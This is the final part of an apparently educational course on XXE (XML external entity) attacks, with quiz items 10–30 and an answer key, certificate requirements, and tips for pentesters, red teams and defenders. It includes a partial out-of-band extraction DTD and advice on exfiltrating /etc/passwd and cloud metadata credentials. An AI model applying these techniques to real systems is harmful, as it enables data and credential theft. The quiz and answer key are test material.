  • 10. Which scheme allows command execution on PHP installs with the expect module enabled?

A) http:// B) file:// C) expect:// D) jar://

  • 11. The classic in-band XXE returns:

A) The contents of the file inside the HTTP response body B) A network packet only C) A DNS callback D) Nothing

  • 12. The error-based XXE works by:

A) Throwing a parser error containing the read file content B) Sending a 500 error C) Crashing the server D) None

  • 13. To bypass a DOCTYPE-less context, the attacker can use:

A) JSON injection B) XInclude C) SQL injection D) CSRF

  • 14. The classic blocking defense in modern Java is:

A) `dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)` B) `dbf.setRecursive(true)` C) `dbf.setMaxDepth(1)` D) `dbf.skipDTD()`

  • 15. PHP 8.0+ default behavior:

A) Resolves external entities by default B) Disables network access in libxml by default C) Has no XML parser D) Crashes on any DOCTYPE

  • 16. The Python `defusedxml` library:

A) Allows external entities B) Refuses dangerous XML features by construction C) Is deprecated D) Is a parser only for SOAP

  • 17. The Apache Tika 2025 XXE fix lives in:

A) tika-pdf B) tika-core C) tika-server only D) the JVM

  • 18. SVG files are vulnerable to XXE because:

A) SVG is binary B) SVG is XML and can carry a DOCTYPE C) SVG is HTML D) SVG includes Base64 by default

  • 19. DOCX, XLSX, PPTX are vulnerable to XXE because:

A) They are JSON B) They are ZIP archives of XML files, and the parser may process DTDs C) They are protected by default D) They use SOAP

  • 20. To prevent the AWS metadata pivot, the recommended approach is:

A) Disable HTTPS B) Enforce IMDSv2 with session-tokens and block IMDSv1 C) Rotate AccessKeys daily D) Use SSO only

  • 21. The Billion Laughs attack is classified as:

A) RCE B) DoS (CWE-776) C) SSRF D) XSS

  • 22. The XXEinjector tool is best for:

A) Brute forcing logins B) Automated OOB XXE extraction C) WebSocket attacks D) JWT cracking

  • 23. Which OWASP Top 10 (2021) category covers XXE?

A) A01 Broken Access Control B) A03 Injection C) A05 Security Misconfiguration D) A07 Identification and Auth

  • 24. The DTD `<!ENTITY % wrap "<!ENTITY send SYSTEM '...%file;'>">` is used in:

A) Internal entities B) The OOB extraction parameter-entity pattern C) JSON parsing D) JWT signing

  • 25. The most reliable single-line probe to test if a parser is vulnerable:

A) Send a 1MB payload B) Send a DOCTYPE with a small internal entity and check echo C) Send a malformed XML D) Send binary data

  • 26. CVE-2017-5638 (Apache Struts) led to:

A) The Equifax breach B) The Heartbleed disclosure C) The Log4Shell event D) None of these

  • 27. The PortSwigger XXE Apprentice lab demonstrates:

A) Time-based blind SQLi B) Classic in-band file read via the productId parameter C) DNS rebinding D) Cache poisoning

  • 28. To prevent XXE in .NET:

A) Set `XmlResolver = null` on `XmlReaderSettings` and `DtdProcessing = Prohibit` B) Use `XmlSerializer` everywhere C) Enable verbose errors D) Use `WebClient.DownloadXml`

  • 29. Which is NOT a typical XXE impact?

A) File disclosure B) SSRF C) Cross-site scripting in the browser D) Remote code execution (via specific chains)

  • 30. The single most important defensive rule:

A) Add a WAF in front of the parser B) Disable DTD processing and external entity resolution on every parser instance C) Use HTTPS D) Validate input length

Answer key

  • 1.B 2.C 3.B 4.B 5.B 6.C 7.B 8.B 9.B 10.C
  • 11.A 12.A 13.B 14.A 15.B 16.B 17.B 18.B 19.B 20.B
  • 21.B 22.B 23.C 24.B 25.B 26.A 27.B 28.A 29.C 30.B

Scoring

  • 27 to 30: XXE expert.
  • 24 to 26: Solid.
  • 19 to 23: Functional; re-read sections 11 and 16.
  • Below 19: re-read sections 1 to 8 and retake.

SECTION 22. Certificate Requirements

  • Read all 24 sections of this course.
  • Score 24/30 or higher on section 21.
  • Complete 9 of the 15 planned ANAS XXE Labs (once released).
  • Complete every PortSwigger Web Security Academy XXE lab listed in section 19.
  • Demonstrate one blind XXE OOB extraction against a controlled target you own.
  • Demonstrate one SSRF-to-IMDS pivot in a sandbox AWS account.
  • Write a 500-word write-up of a recent XXE CVE (CVE-2025-66516 or CVE-2025-68493) in your own words.
  • Maintain a personal payload library of 40+ XXE payloads, organized by tier.

Ethical baseline

The techniques here work. They are intended for authorized testing only. Use them only against systems you own or have explicit written permission to test.

SECTION 23. Important Notes

Common beginner mistakes

  • Mistake 1: assuming the application "only accepts JSON". Always test the content-type swap.
  • Mistake 2: stopping at file read. The cloud metadata pivot is the high-impact finding on modern targets.
  • Mistake 3: forgetting the difference between general entities (`&xxe;`) and parameter entities (`%xxe;`). Parameter entities are required for the OOB chain.
  • Mistake 4: not hosting the external DTD on infrastructure the victim can actually reach. Test egress first.
  • Mistake 5: testing only the body. SOAP envelopes, WSDLs, sitemaps, and uploaded office docs are all valid surfaces.
  • Mistake 6: confusing PortSwigger lab `&xxe;` placement. The entity must be referenced inside an element that is echoed; choosing the wrong field is the most common reason a probe "fails".

Pentester tips

  • Always begin with the internal-entity probe. Confirms DTD processing without external traffic, useful when the target firewalls outbound calls.
  • If outbound to your Collaborator does not arrive, try alternate domains, DNS-only probes, and HTTP vs HTTPS.
  • Save your external DTD as a known-good template. Reuse across targets.
  • Test every file upload feature with an XXE-laden SVG and DOCX.
  • Document the parser library and version in your report; the fix advice depends on it.

Bug bounty tips

  • XXE on contact forms, sitemap submitters, RSS readers, and DOCX/SVG/PDF processors remains a high-paying class in 2026.
  • Always chain to SSRF or IMDS when the target is cloud-hosted. Severity grows from medium to critical.
  • A blind XXE that exfiltrates `/etc/passwd` via OOB is a strong, hard-to-dispute finding.
  • Pair XXE write-ups with HTTP traces, the exact parser library name, and an exact reproduction recipe.

Red team tips

  • XXE through a forgotten SOAP service is a quiet initial-access primitive.
  • Use OOB to keep the application response clean while exfiltrating data over your own DNS or HTTP.
  • Once IMDS credentials are obtained, the rest of the engagement looks like any other cloud compromise.

Defender tips

  • Treat every parser as suspect until proven hardened.
  • Centralize XML parsing into a single helper used by every microservice.
  • Add SAST rules that fail builds on unhardened `DocumentBuilderFactory`, `XmlDocument`, `lxml.etree.fromstring`.
  • Block egress to `169.254.169.254` from application user contexts.
  • Enforce IMDSv2 cluster-wide.

Things to remember during exams

  • CWE-611 = XXE. CWE-776 = Billion Laughs. CWE-918 = SSRF.
  • OWASP A05:2021 covers XXE in 2021+.
  • Fix is "disable DTD processing / external entities".
  • Parameter entities (`%`) are required for OOB extraction.
  • 169.254.169.254 is the cloud metadata IP.

Frequently confused concepts

  • XXE vs XML injection: XML injection modifies an existing document's structure; XXE adds external entities that the parser resolves.
  • XXE vs SSRF: XXE often becomes SSRF. They are related, not the same.
  • XXE vs XInclude: XInclude is a separate XML feature that also reads files; disable both.
  • XXE vs Billion Laughs: both rely on entity processing; Billion Laughs is DoS, classic XXE is data extraction / SSRF.

Key takeaways

  • XXE is a defaults problem, not a logic problem.
  • Modern stacks still ship XXE-vulnerable code (CVE-2025-68493, CVE-2025-66516).
  • The blast radius is always larger than "I read a file": SSRF, cloud-cred theft, RCE chains.
  • The fix is small and well-documented per language.

SECTION 24. Final Word from Your Instructor

You finished the long XXE walkthrough. You now know more about this bug class than most working engineers, and enough to find it, exploit it, and fix it.

Here is the short version.

XXE is an old bug that refuses to die because parsers ship with dangerous defaults, because XML is everywhere even when nobody thinks about it, and because the cloud metadata pivot turns a file-read into a full account compromise. The fix is one line per parser. The cost of forgetting it is the worst-case outcome you can imagine: leaked secrets, stolen IAM credentials, internal services reached from the outside, source code dumped, and in some cases code execution via Tika or Struts.

Treat every endpoint that accepts XML as a candidate target. Treat every file-upload feature as an implicit XML endpoint. Treat every JSON endpoint as a potential XML endpoint via content-type swap. The internal-entity probe is your first move. The Collaborator callback is your second. The external DTD is your third. The cloud metadata IP is the prize.

On the defensive side, disable DTD processing on every parser, refuse `<!DOCTYPE` at the gateway, enforce IMDSv2, and block egress to link-local IPs from app user contexts. Centralize your XML parsing into a single hardened helper. Add SAST rules. Monitor parser errors. The bug class is preventable; it just is not prevented often enough.

The 2025 CVEs are proof that this is not history. CVE-2025-66516 (Tika, CVSS 10.0) and CVE-2025-68493 (Struts S2-069, CVSS 9.8) shipped in January and December of 2025. The bug is alive and well in the most popular Java libraries on the planet.

Stay curious. Stay ethical. Verify scope before you touch anything. Read more code than you write. The techniques here are real, the impact is real, and so is the responsibility that goes with the knowledge.

Go hunt.